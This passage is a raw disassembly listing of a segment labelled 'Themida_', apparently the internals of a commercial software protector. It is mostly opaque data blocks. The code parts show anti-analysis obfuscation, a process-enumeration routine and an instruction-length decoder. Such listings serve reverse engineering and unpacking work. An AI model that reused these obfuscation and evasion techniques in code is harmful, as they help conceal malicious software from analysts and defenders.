0C53FEBC0h, 918EAE41h, 0AA145920h, 4A90990Dh, 2EC8A736h dd 463F1C20h, 81324A44h, 482D9F06h, 88EF62E5h, 4703BC4Fh dd 0B77EB792h, 0C01BF07Ah, 0F0268481h, 0B00DCB17h, 7A9A75ADh dd 51B940C5h, 3CE90310h, 1, 4Eh dup(0) dd 83000000h, 13212DBDh, 840F0106h, 4FDh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A1C35242h, 1D52426Bh dd 0BC7C4D7h, 0AE9A7h, 0BA840000h, 0E3296BE6h, 60F61735h dd 78C0FF8h, 0F000000h, 18Ch, 85C6F500h, 61311E1h, 8E943h dd 6090000h, 0ABD3957h, 4E8A519h, 0F5000000h, 0FECA5D0h dd 886h, 2830F00h, 60000000h, 8F0F5061h, 14h, 0FE9h, 14E7700h dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 424448Bh, 0FE25B960h dd 8B613BFFh, 11E900h, 296C0000h, 6487E6AEh, 0C927A49h dd 0CECC0538h, 89F2183Fh, 0F042444h, 0C81h, 7E900h, 0E4F90000h dd 0E735845h, 890F588Eh, 1, 0B5FFF8F5h, 6131EE9h, 11E9h dd 5B361600h, 0AF2057A7h, 0A938F041h, 3298DD53h, 8DF51EB7h dd 167C3385h, 1830F06h, 0F5000000h, 0E960D0FFh, 6, 0AF216343h dd 8B66CE38h, 858961DAh, 6131CD1h, 0B800Fh, 6E90000h, 0BC000000h dd 0C71121EDh, 0E185C64Eh, 50061311h, 188B0Fh, 0E9600000h dd 11h, 0C194E482h, 4E216038h, 83A18D8Bh, 0DF4D30Bh, 4F6861B3h dd 0E9804D9Ch, 6, 6B45F06h, 34813914h, 0E0311924h, 0AE928h dd 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 1EE9B5FFh, 850F0613h dd 1, 858DF8F8h, 6167C33h, 1F96B960h, 0E9616B77h, 14h dd 1E96B6AAh, 0F6C6507Dh, 29887941h, 1741ECB2h, 79849222h dd 0B160D0FFh, 89F86104h, 131D2585h, 0BF0F6006h, 0DF8166F2h dd 68612118h, 0D6B5DC42h, 13E9h, 0A1459F00h, 4647A7CBh dd 801D651Ch, 0C55A1688h, 688E87E0h, 6D243481h, 60263A74h dd 0EE8h, 357C3100h, 799C010Ah, 0C0999D9Dh, 0B3F7161Fh dd 10E95FD7h, 0E4000000h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh dd 613B745Ah, 1EE9B5FFh, 66600613h, 9F9FD081h, 61CA8B66h dd 7C33858Dh, 0E8600616h, 0Bh, 0A2CE597Ah, 1535A932h, 0F8BDFADDh dd 9E959h, 46E50000h, 3FBFADC2h, 619C66C3h, 7E9D0FFh, 9A000000h dd 271CA8B1h, 8589ED11h, 6132365h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 3FC35646h, 0FCF30017h, 0E185C6FCh dd 50061311h, 0BE860h, 6E6E0000h, 676FBE06h, 582490D3h dd 1998B838h, 8A583678h, 0E8F961F5h, 4, 979CDC56h, 14860Fh dd 0FE90000h, 0FE000000h, 443D2D32h, 8C4AE6BBh, 227D9062h dd 0E9500630h, 9, 60F13B84h, 63CAF960h, 24448B1Eh, 60525004h dd 880F6160h, 0 dd 60310F61h, 310F5250h, 0B966585Ah, 5A61F6FDh, 0E9008B58h dd 14h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h, 466BBC4h, 21109FD3h dd 4244489h, 7E860h, 26620000h, 0A9302B36h, 57605A9Bh dd 58616158h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 54C35343h, 0D47DBAC5h, 600F5E53h, 0A828BB66h, 0A27B58B8h dd 0E9606131h, 14h, 0AB889B72h, 0E44C6DE0h, 4B0B7BAEh dd 0CC039320h, 609ADBECh, 6DB5FF61h, 0F5061311h, 3AAD858Dh dd 0FFF80613h, 8E9D0h, 9D780000h, 0CC71D186h, 89FC9C1Ah dd 1305D585h, 10E906h, 0F3870000h, 0C54E937Dh, 4D4C64DCh dd 8B586D34h, 5EE9D627h, 0E9000001h, 6, 9D2AADCFh, 50FCEB30h dd 0EB8A5360h, 0BE95Ah, 1E1A0000h, 41EF1119h db 30h, 6Fh ; --------------------------------------------------------------------------- loc_5D42EA: ; CODE XREF: Themida_:loc_5D42EAj ; DATA XREF: sub_580566+24A3Bo jns short loc_5D42EA xlat popa mov [esp], ebp jnb loc_5D42F8 cmc loc_5D42F8: ; CODE XREF: Themida_:005D42F1j mov ebp, esp ja loc_5D431E jl loc_5D431E jmp loc_5D431E ; --------------------------------------------------------------------------- db 21h dd 420FF65Ch, 81624F0Eh, 68F62FD6h, 2FC8FEB0h db 68h, 3 ; --------------------------------------------------------------------------- loc_5D431E: ; CODE XREF: Themida_:005D42FAj ; Themida_:005D4300j ... add esp, 0FFFFFFFCh cld pusha jmp loc_5D4332 ; --------------------------------------------------------------------------- dd 0E5C691BCh, 0C13481D0h db 58h, 6Fh ; --------------------------------------------------------------------------- loc_5D4332: ; CODE XREF: Themida_:005D4323j call $+5 pop edx sub edx, 618806Dh mov dword ptr [ebp-4], 0 cmp dword ptr [edx+613212Dh], 1 jz loc_5D43EA push edx push 0 push 0Fh call dword ptr [edx+6131CD1h] pop edx mov [edx+6187B19h], eax lea ebx, [edx+6187B1Dh] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6131D25h] pop edx loc_5D437A: ; CODE XREF: Themida_:005D43A4j ; Themida_:005D43D8j push edx lea ebx, [edx+6187B1Dh] push ebx push dword ptr [edx+6187B19h] call dword ptr [edx+61305D5h] pop edx or eax, eax jz short loc_5D43E3 lea ebx, [edx+6187B1Dh] lea edi, [ebx+24h] xor ecx, ecx loc_5D439E: ; CODE XREF: Themida_:005D43AEj cmp ecx, 104h jz short loc_5D437A inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5D439E lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6133275h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6133275h] push eax call dword ptr [edx+6132365h] pop edx or eax, eax jnz short loc_5D437A mov dword ptr [ebp-4], 1 jmp short loc_5D43EA ; --------------------------------------------------------------------------- loc_5D43E3: ; CODE XREF: Themida_:005D4391j mov dword ptr [ebp-4], 0 loc_5D43EA: ; CODE XREF: Themida_:005D434Cj ; Themida_:005D43E1j popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5D43FD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D43FD proc near ; CODE XREF: Themida_:005D43F5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5D43FD endp ; --------------------------------------------------------------------------- db 59h, 0Fh, 8Ah dd 1, 0FE9F8h, 509D0000h, 8DE23AA6h, 49403592h, 0E745DDEEh dd 0E8D28B36h, 6, 7F933C80h, 0F558526Ch, 60F4C081h, 0F18B0000h dd 34FFC933h, 0F9BF0F01h, 81F78B5Ah, 0CD268BC2h, 1870F15h dd 0F8000000h, 718BF281h, 14E80A96h, 16000000h, 0FFF222B7h dd 0FB213702h, 0A5AE268Ah, 37BD9460h, 5FC401A2h, 7288C281h dd 0FB8B0B48h, 0BA666052h, 8B666185h, 48F61F2h, 13E95308h dd 0E7000000h, 7A322D39h, 71B1352Dh, 0FEE127ACh, 9256EB8Fh dd 835B6550h, 816601E9h, 493C3EC6h, 8E94949h, 24000000h dd 0CCB2C91Dh, 810F1B0Dh, 0FF9FA4F9h, 77850FFFh, 0FCFFFFFFh dd 10E8h, 0B6562700h, 4181C7AAh, 8BB95A52h, 0A10AD5B6h dd 5ECE8BA2h, 2840Fh, 0F78A0000h, 5F07C681h, 0B8F90000h dd 0 ; --------------------------------------------------------------------------- jge loc_5D4510 jmp loc_5D4510 ; --------------------------------------------------------------------------- db 34h dd 8A0AD42Eh, 4E432BFh, 73091629h ; --------------------------------------------------------------------------- loc_5D4510: ; CODE XREF: Themida_:005D44F8j ; Themida_:005D44FEj ... mov edi, [esi+eax] push esi jnp loc_5D4520 jl $+6 loc_5D4520: ; CODE XREF: Themida_:005D4514j pop ebx sub edi, 22875D24h mov dx, di add edi, 46922D08h push edi pusha jmp loc_5D454A ; --------------------------------------------------------------------------- db 0E2h dd 0EC583849h, 3295A127h, 9082A072h, 0B1B8765Dh db 7Eh, 9 ; --------------------------------------------------------------------------- loc_5D454A: ; CODE XREF: Themida_:005D4532j pusha popa popa pop edx xor edi, 30700A5Bh push edi mov ebx, 73BE5B15h pop dword ptr [esi+eax] mov dx, 9A1Ch mov cx, 3B22h sub eax, 3 push esi clc pop ebx dec eax cmp eax, 0FFFFA1B4h jnz loc_5D4510 call near ptr loc_5D458C+1 sub eax, [edi] and eax, 953A8B8Dh std out 0FEh, eax xor eax, 39CF2DC4h loc_5D458C: ; CODE XREF: Themida_:005D4578p test [esi+122C5A62h], esi retf ; --------------------------------------------------------------------------- db 1Eh dd 2AEFBE16h, 0F3AD6280h, 7B9703Dh, 7BC5344Ch, 0FD1471FFh dd 80578454h, 322984B1h, 0D0B9F010h, 1CBD0490h, 25298972h dd 3D1532EBh, 32146EF9h, 62145E3Eh, 321437F7h, 0F14C148Fh dd 1650BD9Fh, 1650B5E7h, 321420F5h, 0F14474F8h, 31DFDD24h dd 327E343Eh, 3217DC4Eh, 6B34348Fh, 7E9D6D04h, 769530C7h dd 320930D5h, 635534F8h, 7AD637BFh, 0F91FCF6Eh, 0B3DD926Eh dd 0C7032B65h, 0E3A33BA4h, 3211BCECh, 7EAB34F1h, 0B13A07A6h dd 210691C1h, 0B61B3438h, 32143407h, 316BDD7Ah, 3FFD34C7h dd 9F1434E3h, 0E8C3B77Ch, 5E37B383h, 1951FD0Ah, 0B0F2B1B3h dd 0B2E83207h, 8784FF4Eh, 0BD1B64C1h, 321434E8h, 32143218h dd 9C189CF8h, 0A22CB00Fh, 0DA433454h, 3214341Ch, 6DD76BAFh dd 3630484Eh, 36307062h, 321434EBh, 4FD763BFh, 6EAB2030h dd 0B81B060Ah, 32143415h, 3210B080h, 8C7234C7h, 0B799CFC1h dd 340CB639h, 0AEAB8DA9h, 0A24E6FF0h, 13903B6Eh, 6214341Fh dd 3D7554DDh, 3200DDF6h, 0B2A934E3h, 370D9E99h, 5C05A26Bh dd 0DFD4633Bh, 0EC66AC23h, 6A4EEA31h, 67145E1Fh, 3214372Fh dd 0F14914E3h, 1678BDACh, 1650B5FCh, 32142178h, 0F141713Eh dd 8872F740h, 544625BAh, 0A635EA46h, 7781CBBCh, 541227D1h dd 0B9687141h, 61145EBCh, 321437D6h, 0F14F141Fh, 1648BDD4h dd 1650B5C3h, 32142FE7h, 0F14777F1h, 660D8F05h, 3CF79831h dd 86E2B558h, 17A9B7F3h, 32122799h, 8F973DB2h, 34071862h dd 620D40F1h, 8AD4BFABh, 32143006h, 3F69B1B7h, 0AF99320Ch dd 34019DF2h, 6A4FE738h, 1E958960h, 461432E2h, 8A4764EFh dd 32143006h, 3F69B1B7h, 0AF99320Ch, 340192E3h, 6A4FE738h dd 96D6B585h, 319E3B82h, 3D1434F8h, 0D895C3C3h, 719A9541h dd 17438B79h, 0D4A1F404h, 0B0C4A94Ah, 851B32FBh, 0BC91B93Bh dd 3D122C93h, 321430F5h, 32AE523Eh, 0DBC4CBEFh, 32143488h dd 2B42A4F2h, 39CA17BAh, 0BB903B31h, 541434F8h, 2930D3FDh dd 7D99A9B3h, 327E320Ch, 3217DCD9h, 6C3434C7h, 469D6A20h dd 769530D5h, 320930DCh, 6452347Ch, 0F9CCB0FDh, 0FBCD9993h dd 3D840B19h, 3214394Ch, 321CDDE3h, 6E7234F1h, 6A0603D5h dd 31AC1F1Ah, 5814343Eh, 31FC641Fh, 1214348Fh, 0BB4CF79Fh dd 0B31010A7h, 261010B5h, 721434F8h, 0CDF0F72Ch, 65145EDDh dd 321437F7h, 0F14B148Fh, 1668BD98h, 1650B5E7h, 32142FF5h dd 0F14373F8h, 0DCC393A7h, 99D9565Dh, 0B0CCA992h, 0C4943297h dd 0BC91B9F3h, 54122C88h, 0FC39F370h, 22FDE407h, 0DA14347Ch dd 636E7AD0h, 37B2B14Ch, 0E47D28E5h, 399C2040h, 1D903B23h dd 0B21434F1h, 0AF997A39h, 34077BF1h, 0C09F525Eh, 3217BC10h dd 851B348Fh, 33AC5504h, 0DB1434E3h, 321434FBh, 754EFC5Bh dd 3016547Fh, 0D1EB9D62h, 0AF99CA94h, 340CB652h, 0DA4634ADh dd 321434E0h, 68D76ED1h, 36306071h, 363070FDh, 32143422h dd 0B6D7665Dh, 0B15901DEh, 2ADFD0D0h, 0BC91B91Bh, 0DA122C9Ah dd 321434FDh, 0C4358C7Ah, 688B8504h, 327EE4E0h, 3217DCDAh dd 6F3434C7h, 5E9D6920h, 769530D5h, 320D30DCh, 6751347Ch dd 50BB9FFDh, 3DA68C3Eh, 32142704h, 321ADDC7h, 0F04134E3h dd 6508CC2Bh, 355F3487h, 1F358579h, 0F19F525Eh, 0CF562CA0h dd 0F21F55EEh, 326FB0C8h, 0B97234E3h, 0BF89B901h, 0DA1227B7h dd 32143472h, 9BCA33C0h, 300A4156h, 24337FEFh, 15AA4E88h dd 687FCA7Bh, 32143749h, 61145EF8h, 32143794h, 0F14F143Eh dd 1648BD44h, 1650B58Bh, 321429C3h, 0F14777E3h, 669D4BE7h dd 769F4345h, 23FCD285h, 6F14343Eh, 8AFFC95h, 0C4A8402Ah dd 22D8F368h, 0A622CD97h, 6BEF83FEh, 5274D707h, 3214BB73h dd 8872343Eh, 5475E671h, 3D24EB0Eh, 0DCAD77A6h, 0BF142AA2h dd 2A96F24Ch, 3B99B9FEh, 8A122CFBh, 0B85F6843h, 2981B12Ch dd 0FD3F329Ch, 0B0CCA992h, 0C4943297h, 0BC91B9F3h, 54122C88h dd 0FC39F370h, 22FDE407h, 8314347Ch, 0A4F305E9h, 0DDBAC08Bh dd 6A1BB723h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B3ACC357h, 928BA51Bh, 8FB1A1B3h dd 8166C38Bh, 8BF9C6D2h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 3FBE563Fh, 8BF7EC08h dd 25BD83F8h, 61316h, 0BD830975h, 6132C81h, 50197400h dd 0B8C08B53h, 47Ah, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh dd 2C81BD83h, 74000613h, 0B8535017h, 47Ah, 31158589h, 9D8D0613h dd 615A685h, 585BD3FFh, 80F9BF0Fh, 8E0F82CEh, 3, 8BC88B66h dd 266E9C0h, 66600000h, 0C1F6D98Ch, 35840F04h, 6A000000h dd 6DB5FF01h, 8D061311h, 167C3385h, 89D0FF06h, 13281585h dd 0C1FE8B06h, 680CEFh, 6A200600h, 57026A00h, 1000D68h dd 1595FF00h, 0E9061328h, 32h, 11E185C6h, 68560613h, 0A9C530DFh dd 1EE9B5FFh, 858D0613h, 6167C33h, 8589D0FFh, 613122Dh dd 29FD858Dh, 6A500613h, 56056A40h, 122D95FFh, 0C3610613h dd 3 dup(0) ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+618885Eh], eax mov eax, [edx+0Ch] mov [ebp+6188856h], eax mov eax, [edx+10h] mov [ebp+618885Ah], eax lea esi, [ebp+6188894h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx retn 0Ch ; --------------------------------------------------------------------------- mov esi, [ebp+618885Eh] mov eax, [ebp+6188856h] cmp dword ptr [ebp+618885Ah], 0 jz loc_5D4B7E mov [esi], eax jmp locret_5D4B80 ; --------------------------------------------------------------------------- loc_5D4B7E: ; CODE XREF: Themida_:005D4B71j mov [esi], al locret_5D4B80: ; CODE XREF: Themida_:005D4B79j iret ; --------------------------------------------------------------------------- align 4 dd 0 dd 0D48B5200h, 8428B60h, 885E8589h, 0B58D0618h, 61888E5h dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 618885Eh, 8B0004C2h dd 18885E85h, 89008B06h, 18885E85h, 0CF06h, 89600000h dd 1888BBB5h, 0B7858906h, 8D061888h, 13065D85h, 44408B06h dd 88F48589h, 0B58D0618h, 618892Ah, 8EA1858Dh, 0D0FF005Bh dd 0BB858B61h, 0C3061888h, 88B79D8Bh, 0B70F0618h, 0D8033C43h dd 3785B8Bh, 1888B79Dh, 24738B06h, 88B7B503h, 8B560618h dd 738B207Bh, 0B7BD031Ch, 3061888h, 1888B7B5h, 0C983FC06h dd 9D8B41FFh, 61888BBh, 9503178Bh, 61888B7h, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 61888B7h, 88BB8589h, 0F08B0618h, 0C18BCE8Bh dd 88F4BD81h, 618h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h dd 12E8C100h, 3FF825h, 0F4BD8B00h, 83061888h, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 88F4BD81h, 618h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 0F4BD8100h, 61888h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 8862858Dh, 85890618h, 61321F9h dd 88F8858Dh, 85890618h, 61315D9h, 88BF858Dh, 85890618h dd 6130BB1h, 8B878D8Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 1FF9FFC3h, 13E957A9h dd 0E0000000h, 0C074CB6h, 0A008D39Fh, 6C3AD078h, 97D7163Fh dd 895B2EB9h, 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 5FB06FB1h, 81958B60h dd 2906132Bh, 130AC5B5h, 958B6106h, 6132C59h, 18DD85C7h dd 60EC0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 9352F0C3h, 0C812C735h, 0DA816653h dd 0BD8BE59Ch, 6132449h, 305585C7h, 613h, 12E90000h, 74000000h dd 0F0DC1194h, 0A0E641CDh, 1106ABF6h, 936DF13Eh, 31B5FF3Eh dd 0E9061328h, 0Ah, 57BC6330h, 4003671Fh, 95FF5B17h, 6131D89h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 12C35040h dd 5B603283h, 1E30AAB9h, 1D7D958Bh, 6A0613h, 0DA995FFh dd 0C08B0613h, 9232FEBh, 0D1492DC6h, 4834CF2h, 9DD0919Eh dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0CD5A8F0h dd 0C137A2C5h, 43FF39F9h, 487C0E71h, 1C8E95Ah, 88880000h dd 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75736600h, 0FE80h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6188D93h, 0E085C760h dd 6188Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6188CE4h dd 6, 24E9h, 0E8858D00h, 5006188Ch, 8D38858Dh, 56500618h dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 188CE485h dd 0B5036106h, 6188CE4h, 8CE0858Bh, 0C35D0618h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5D50E9 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5D50F5 ; --------------------------------------------------------------------------- loc_5D50E9: ; CODE XREF: Themida_:005D50D2j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5D50F5: ; CODE XREF: Themida_:005D50E4j push ebx push esi push edi loc_5D50F8: ; CODE XREF: Themida_:005D514Dj ; Themida_:005D5169j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D510B: ; CODE XREF: Themida_:005D5132j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6188E4Ah lea ebp, [ebp+6188CC0h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D5138 inc cl cmp cl, 0Bh jb loc_5D510B loc_5D5138: ; CODE XREF: Themida_:005D5127j cmp cl, 0Bh jz loc_5D5195 cmp al, 66h jnz loc_5D5176 cmp byte ptr [ebp-5], 0 jnz loc_5D50F8 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5D516E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5D50F8 ; --------------------------------------------------------------------------- loc_5D516E: ; CODE XREF: Themida_:005D515Bj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5D5176: ; CODE XREF: Themida_:005D5143j cmp al, 67h jnz loc_5D50F8 cmp byte ptr [ebp-6], 0 jnz loc_5D50F8 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5D50F8 ; --------------------------------------------------------------------------- loc_5D5195: ; CODE XREF: Themida_:005D513Bj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D51C1 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D51C6 ; --------------------------------------------------------------------------- loc_5D51C1: ; CODE XREF: Themida_:005D51A0j movzx edi, al shr edi, 1 loc_5D51C6: ; CODE XREF: Themida_:005D51BCj push ebp call $+5 pop ebp sub ebp, 6188F02h lea ebp, [ebp+6188BC0h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5D5348 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5D528C dec ecx jz loc_5D526F dec ecx jnz loc_5D52DF cmp byte ptr [ebp-2], 0 jnz loc_5D52DB cmp byte ptr [ebp-5], 0 jz loc_5D524E mov byte ptr [ebp+0Bh], 2 loc_5D524E: ; CODE XREF: Themida_:005D5244j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6188F8Eh mov dword ptr [ebp+6188CE0h], 1 pop ebp jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D526F: ; CODE XREF: Themida_:005D5229j cmp byte ptr [ebp-2], 0 jnz loc_5D52B9 cmp byte ptr [ebp-5], 0 jz loc_5D52B9 mov byte ptr [ebp+0Bh], 2 jmp loc_5D52B9 ; --------------------------------------------------------------------------- loc_5D528C: ; CODE XREF: Themida_:005D5222j cmp byte ptr [ebp-2], 0 jnz loc_5D52D2 cmp byte ptr [ebp-5], 0 jz loc_5D52C1 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D52B9 mov [ebp+0Bh], cl loc_5D52B9: ; CODE XREF: Themida_:005D5273j ; Themida_:005D527Dj ... inc byte ptr [ebp+0Bh] jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D52C1: ; CODE XREF: Themida_:005D529Aj cmp dl, 5 jnz loc_5D52DF mov [ebp+0Bh], dl jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D52D2: ; CODE XREF: Themida_:005D5290j cmp dl, 6 jnz loc_5D52DF loc_5D52DB: ; CODE XREF: Themida_:005D523Aj mov byte ptr [ebp+0Bh], 3 loc_5D52DF: ; CODE XREF: Themida_:005D5230j ; Themida_:005D526Aj ... dec byte ptr [ebp+0Bh] jz loc_5D530D movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5D52EF: ; CODE XREF: Themida_:005D5305j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D52EF mov esi, edx loc_5D530D: ; CODE XREF: Themida_:005D52E2j and al, 0FEh cmp al, 0F6h jnz loc_5D5342 cmp edi, 7Fh ja loc_5D5342 test bl, 38h jnz loc_5D5342 cmp byte ptr [ebp-7], 0 jz loc_5D533C movzx eax, byte ptr [ebp-4] jmp loc_5D533F ; --------------------------------------------------------------------------- loc_5D533C: ; CODE XREF: Themida_:005D532Dj push 1 pop eax loc_5D533F: ; CODE XREF: Themida_:005D5337j mov [ebp-1], al loc_5D5342: ; CODE XREF: Themida_:005D5311j ; Themida_:005D531Aj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5D5348: ; CODE XREF: Themida_:005D51F2j mov al, bl and eax, 7 sub eax, 4 jz loc_5D5373 dec eax dec eax jz loc_5D5369 and bl, 7 add [ebp-1], bl jmp loc_5D537B ; --------------------------------------------------------------------------- loc_5D5369: ; CODE XREF: Themida_:005D5358j mov al, [ebp-3] add al, 6 jmp loc_5D5378 ; --------------------------------------------------------------------------- loc_5D5373: ; CODE XREF: Themida_:005D5350j mov al, [ebp-3] add al, 4 loc_5D5378: ; CODE XREF: Themida_:005D536Ej add [ebp-1], al loc_5D537B: ; CODE XREF: Themida_:005D5364j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5D53A3 movzx ecx, byte ptr [ebp-1] inc ecx loc_5D538E: ; CODE XREF: Themida_:005D539Dj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D538E loc_5D53A3: ; CODE XREF: Themida_:005D5383j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- lea eax, [ebp+6188D8Dh] mov [ebp+6132191h], eax lea ecx, [ebp+61891D6h] push 0 push eax call sub_5D53C7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D53C7 proc near ; CODE XREF: Themida_:005D53BFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5D53C7 endp ; --------------------------------------------------------------------------- mov edx, 231E7B33h popf jge short loc_5D5401 adc eax, [esi] mov [ebp+6131BBDh], ecx or [ebp+61304CDh], edx mov dword ptr [ebp+61318DDh], 6F38h mov dword ptr [ebp+6133055h], 0 loc_5D5401: ; CODE XREF: Themida_:005D53DDj push 0 push ebx call sub_5D540C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D540C proc near ; CODE XREF: Themida_:005D5404p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5D540C endp ; --------------------------------------------------------------------------- dd 1F5D1B0Bh, 0FD5592EDh, 8E92827h, 0B0000000h, 2E049393h dd 0B1C6E24h, 1325C5BDh, 6B0BF06h, 0B5FF55D1h, 6130ED5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4BC35343h dd 29093CF6h, 8BE49E61h, 131611BDh, 8995FF06h, 6A06131Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0BDA7C353h, 890FD080h, 1307F5BDh, 0FF006A06h dd 130DA995h, 0EBC08B06h, 1AF600Fh, 9B533F4Fh, 1FEC904Bh dd 95D0D9A2h, 83F5C08Bh, 131625BDh, 9750006h, 2C81BD83h dd 74000613h, 8B535019h, 3FCB8C0h, 85890000h, 6130D7Dh dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h dd 3FCB853h, 85890000h, 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BF3290C3h, 0FB9372Ah, 6AD6BFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 85E093C3h dd 7B027D5h, 0D7CB8190h, 8B2E0ADEh, 0CA8166D1h, 0C08BFEA6h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E8C35343h dd 0B736E594h, 3DBD8380h, 1061317h, 7C840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 